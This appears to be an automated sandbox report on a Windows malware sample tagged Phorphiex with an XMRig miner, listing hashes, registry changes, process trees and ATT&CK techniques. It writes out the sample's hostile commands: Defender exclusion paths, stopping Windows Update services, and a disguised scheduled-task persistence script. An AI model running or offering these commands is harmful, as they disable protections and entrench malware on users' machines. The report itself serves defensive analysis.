Analysis
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max time kernel
149s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
17-10-2024 01:56
Static task
static1
Behavioral task
behavioral1
Sample
8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe
Resource
win7-20240708-en
General
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Target
8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe
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Size
74KB
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MD5
ff2df00e788749ba0f2ca8c29a35030c
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SHA1
9638e9861cdd6a8b5e4aad28739ebd62ab12b6a1
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SHA256
8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7
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SHA512
76e3323f797e557a72be2242961829f410c17be3b7d605075c0c05676d8a0fca6d108e47fb250219da010f0ad64c92f56d8db3b6f913b7c5000591434ec253db
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SSDEEP
192:H5w4ZVQffbuVBiRAljEEJxTqthTcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPcPx:H5w4ZV0G06uEuOm6S6666
Malware Config
Signatures
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Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4" sysvplervcs.exe -
Phorphiex payload 1 IoCs
resource yara_rule behavioral1/files/0x0007000000019214-4.dat family_phorphiex -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 568 created 1180 568 1611410096.exe 21 PID 568 created 1180 568 1611410096.exe 21 PID 1924 created 1180 1924 winupsecvmgr.exe 21 PID 1924 created 1180 1924 winupsecvmgr.exe 21 PID 1924 created 1180 1924 winupsecvmgr.exe 21 -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1" sysvplervcs.exe -
XMRig Miner payload 4 IoCs
resource yara_rule behavioral1/memory/1924-97-0x000000013F850000-0x000000013FDE7000-memory.dmp xmrig behavioral1/memory/2804-101-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/2804-103-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/2804-105-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig -
pid Process 2736 powershell.exe 1248 powershell.exe 2820 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 7 IoCs
pid Process 2332 13368.scr 2740 sysvplervcs.exe 1812 536515272.exe 2880 192966600.exe 1556 290813981.exe 568 1611410096.exe 1924 winupsecvmgr.exe -
Loads dropped DLL 7 IoCs
pid Process 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 2740 sysvplervcs.exe 2740 sysvplervcs.exe 2740 sysvplervcs.exe 1556 290813981.exe 2348 taskeng.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" sysvplervcs.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1" sysvplervcs.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe" 13368.scr -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1924 set thread context of 1056 1924 winupsecvmgr.exe 66 PID 1924 set thread context of 2804 1924 winupsecvmgr.exe 67 -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\sysvplervcs.exe 13368.scr File created C:\Windows\sysvplervcs.exe 13368.scr -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2840 sc.exe 2576 sc.exe 2812 sc.exe 2804 sc.exe 2824 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 290813981.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sysvplervcs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 13368.scr Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2096 schtasks.exe 2460 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 2820 powershell.exe 1812 536515272.exe 568 1611410096.exe 568 1611410096.exe 1248 powershell.exe 568 1611410096.exe 568 1611410096.exe 1924 winupsecvmgr.exe 1924 winupsecvmgr.exe 2736 powershell.exe 1924 winupsecvmgr.exe 1924 winupsecvmgr.exe 1924 winupsecvmgr.exe 1924 winupsecvmgr.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2820 powershell.exe Token: SeDebugPrivilege 1812 536515272.exe Token: SeDebugPrivilege 1248 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeLockMemoryPrivilege 2804 dwm.exe Token: SeLockMemoryPrivilege 2804 dwm.exe -
Suspicious use of FindShellTrayWindow 35 IoCs
pid Process 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe -
Suspicious use of SendNotifyMessage 35 IoCs
pid Process 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe 2804 dwm.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2316 wrote to memory of 2332 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 32 PID 2316 wrote to memory of 2332 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 32 PID 2316 wrote to memory of 2332 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 32 PID 2316 wrote to memory of 2332 2316 8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe 32 PID 2332 wrote to memory of 2740 2332 13368.scr 33 PID 2332 wrote to memory of 2740 2332 13368.scr 33 PID 2332 wrote to memory of 2740 2332 13368.scr 33 PID 2332 wrote to memory of 2740 2332 13368.scr 33 PID 2740 wrote to memory of 2452 2740 sysvplervcs.exe 34 PID 2740 wrote to memory of 2452 2740 sysvplervcs.exe 34 PID 2740 wrote to memory of 2452 2740 sysvplervcs.exe 34 PID 2740 wrote to memory of 2452 2740 sysvplervcs.exe 34 PID 2740 wrote to memory of 2676 2740 sysvplervcs.exe 36 PID 2740 wrote to memory of 2676 2740 sysvplervcs.exe 36 PID 2740 wrote to memory of 2676 2740 sysvplervcs.exe 36 PID 2740 wrote to memory of 2676 2740 sysvplervcs.exe 36 PID 2452 wrote to memory of 2820 2452 cmd.exe 38 PID 2452 wrote to memory of 2820 2452 cmd.exe 38 PID 2452 wrote to memory of 2820 2452 cmd.exe 38 PID 2452 wrote to memory of 2820 2452 cmd.exe 38 PID 2676 wrote to memory of 2804 2676 cmd.exe 39 PID 2676 wrote to memory of 2804 2676 cmd.exe 39 PID 2676 wrote to memory of 2804 2676 cmd.exe 39 PID 2676 wrote to memory of 2804 2676 cmd.exe 39 PID 2676 wrote to memory of 2824 2676 cmd.exe 40 PID 2676 wrote to memory of 2824 2676 cmd.exe 40 PID 2676 wrote to memory of 2824 2676 cmd.exe 40 PID 2676 wrote to memory of 2824 2676 cmd.exe 40 PID 2676 wrote to memory of 2840 2676 cmd.exe 41 PID 2676 wrote to memory of 2840 2676 cmd.exe 41 PID 2676 wrote to memory of 2840 2676 cmd.exe 41 PID 2676 wrote to memory of 2840 2676 cmd.exe 41 PID 2676 wrote to memory of 2576 2676 cmd.exe 42 PID 2676 wrote to memory of 2576 2676 cmd.exe 42 PID 2676 wrote to memory of 2576 2676 cmd.exe 42 PID 2676 wrote to memory of 2576 2676 cmd.exe 42 PID 2676 wrote to memory of 2812 2676 cmd.exe 43 PID 2676 wrote to memory of 2812 2676 cmd.exe 43 PID 2676 wrote to memory of 2812 2676 cmd.exe 43 PID 2676 wrote to memory of 2812 2676 cmd.exe 43 PID 2740 wrote to memory of 1812 2740 sysvplervcs.exe 45 PID 2740 wrote to memory of 1812 2740 sysvplervcs.exe 45 PID 2740 wrote to memory of 1812 2740 sysvplervcs.exe 45 PID 2740 wrote to memory of 1812 2740 sysvplervcs.exe 45 PID 1812 wrote to memory of 1288 1812 536515272.exe 46 PID 1812 wrote to memory of 1288 1812 536515272.exe 46 PID 1812 wrote to memory of 1288 1812 536515272.exe 46 PID 1812 wrote to memory of 1820 1812 536515272.exe 48 PID 1812 wrote to memory of 1820 1812 536515272.exe 48 PID 1812 wrote to memory of 1820 1812 536515272.exe 48 PID 1288 wrote to memory of 2540 1288 cmd.exe 50 PID 1288 wrote to memory of 2540 1288 cmd.exe 50 PID 1288 wrote to memory of 2540 1288 cmd.exe 50 PID 1820 wrote to memory of 1392 1820 cmd.exe 51 PID 1820 wrote to memory of 1392 1820 cmd.exe 51 PID 1820 wrote to memory of 1392 1820 cmd.exe 51 PID 2740 wrote to memory of 2880 2740 sysvplervcs.exe 52 PID 2740 wrote to memory of 2880 2740 sysvplervcs.exe 52 PID 2740 wrote to memory of 2880 2740 sysvplervcs.exe 52 PID 2740 wrote to memory of 2880 2740 sysvplervcs.exe 52 PID 2740 wrote to memory of 1556 2740 sysvplervcs.exe 53 PID 2740 wrote to memory of 1556 2740 sysvplervcs.exe 53 PID 2740 wrote to memory of 1556 2740 sysvplervcs.exe 53 PID 2740 wrote to memory of 1556 2740 sysvplervcs.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1180
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C:\Users\Admin\AppData\Local\Temp\8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe"C:\Users\Admin\AppData\Local\Temp\8c8ef3881ab44057b4972c9112f73e334c664dace19295c5755f5a38ea6191d7.exe"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Users\Admin\AppData\Local\Temp\13368.scr"C:\Users\Admin\AppData\Local\Temp\13368.scr" /S3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Windows\sysvplervcs.exeC:\Windows\sysvplervcs.exe4⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2820
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\SysWOW64\sc.exesc stop UsoSvc6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2804
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C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2824
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C:\Windows\SysWOW64\sc.exesc stop wuauserv6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2840
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C:\Windows\SysWOW64\sc.exesc stop DoSvc6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2576
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C:\Windows\SysWOW64\sc.exesc stop BITS /wait6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2812
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C:\Users\Admin\AppData\Local\Temp\536515272.exeC:\Users\Admin\AppData\Local\Temp\536515272.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f6⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f7⤵PID:2540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"6⤵
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\system32\schtasks.exeschtasks /delete /f /tn "Windows Upgrade Manager"7⤵PID:1392
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C:\Users\Admin\AppData\Local\Temp\192966600.exeC:\Users\Admin\AppData\Local\Temp\192966600.exe5⤵
- Executes dropped EXE
PID:2880
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C:\Users\Admin\AppData\Local\Temp\290813981.exeC:\Users\Admin\AppData\Local\Temp\290813981.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1556 -
C:\Users\Admin\AppData\Local\Temp\1611410096.exeC:\Users\Admin\AppData\Local\Temp\1611410096.exe6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:568
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1248 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2096
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵PID:1976
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2460
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:1056
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C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2804
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C:\Windows\system32\taskeng.exetaskeng.exe {4BCC92AD-A35E-40DB-BF64-D34ED021FBD3} S-1-5-21-3551809350-4263495960-1443967649-1000:NNYJZAHP\Admin:Interactive:[1]1⤵
- Loads dropped DLL
PID:2348 -
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:1924
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
108KB
MD51fcb78fb6cf9720e9d9494c42142d885
SHA1fef9c2e728ab9d56ce9ed28934b3182b6f1d5379
SHA25684652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02
SHA512cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3
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Filesize
96KB
MD5930c41bc0c20865af61a95bcf0c3b289
SHA1cecf37c3b6c76d9a79dd2a97cfc518621a6ac924
SHA2561f2e9724dfb091059ae16c305601e21d64b5308df76ddef6b394573e576ef1ff
SHA512fa1f33c71da608b3980038981220fcebee0b0cc44331e52f5198dd2761c97631ee8286756c2cc16245a1370c83bb53cc8ea8ef64e0fcdd30af51f023973986b2
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UQGWBQMC6GRZCITFRNNU.temp
Filesize7KB
MD5cbb3c20fac8622099e2c4206c96c5570
SHA1ac4f138c1038107ce68127a0e67565e0209e6638
SHA2563a4ce23343abc875cf47273b3a05d5904a72832ce803d42368b53952dcc88cad
SHA5127c022039706b751ea9d1a397c3628ca6ddedb4246c02b7e44ea5f9eef29bf21bc2f710e8ce09ec2beffa89a25d7b89af4351817a861a039f43022c42e0789db0
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Filesize
5.6MB
MD513b26b2c7048a92d6a843c1302618fad
SHA189c2dfc01ac12ef2704c7669844ec69f1700c1ca
SHA2561753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256
SHA512d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455
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Filesize
15KB
MD50c37ee292fec32dba0420e6c94224e28
SHA1012cbdddaddab319a4b3ae2968b42950e929c46b
SHA256981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1
SHA5122b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b
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Filesize
10KB
MD596509ab828867d81c1693b614b22f41d
SHA1c5f82005dbda43cedd86708cc5fc3635a781a67e
SHA256a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744
SHA512ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca
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Filesize
8KB
MD5cb8420e681f68db1bad5ed24e7b22114
SHA1416fc65d538d3622f5ca71c667a11df88a927c31
SHA2565850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea
SHA512baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf